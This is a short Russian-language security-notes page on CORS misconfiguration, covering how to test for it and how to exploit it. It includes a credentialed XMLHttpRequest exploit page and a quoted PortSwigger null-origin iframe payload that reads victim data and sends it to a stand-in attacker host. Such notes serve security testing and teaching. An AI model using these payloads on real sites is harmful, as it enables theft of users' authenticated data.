Cross-Origin Resource Sharing (CORS)
CORS — Сервер указывает, кто (какие критерии) имеет права на доступ к его ресурсу.
Если cors настроен не правильно, или не проверяется, то с домена злоумышленника (встроив соотв код и убедив пользователя перейти на него) можно будет осуществлять запросы к веб-приложению от имени пользователя (Произвести CSRF-атаку).
Как проверить
Отсылаем запрос с Origin
:
GET /some/resource HTTP/1.1
Host: example.com
Origin: https://evil.com
Если в ответ придет Access-Control-Allow-Origin
с нашим доменом или вообще с *
— то этот ресурс можно запросить с нашего домена (и да, куки или TLS-сертификат подставятся из браузера, если сервер вернет заголовок Access-Control-Allow-Credentials: true
). Пример ответа:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Пример эсплуатации
<html>
<body>
<script>
var client = new XMLHttpRequest();
client.withCredentials = true;
client.open("GET", "https://example.com/some/resource");
client.send()
client.onreadystatechange = function() {
if (this.readyState == this.DONE) {
console.log(client.response);
}
}
</script>
</body>
</html>
Иногда допускает Origin: null
. Как добиться такого origin (из portswigger):
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>
Замечание
Если указан Access-Control-Allow-Credentials: true, то в CORS wildcard (*) не будут работать
Настройка
Как подрубить корсы на разных серверах: https://enable-cors.org/server.html
Nginx: (обрати внимание на комменты) https://gist.github.com/Stanback/7145487 https://medium.com/@hariomvashisth/cors-on-nginx-be38dd0e19df
Last updated
Was this helpful?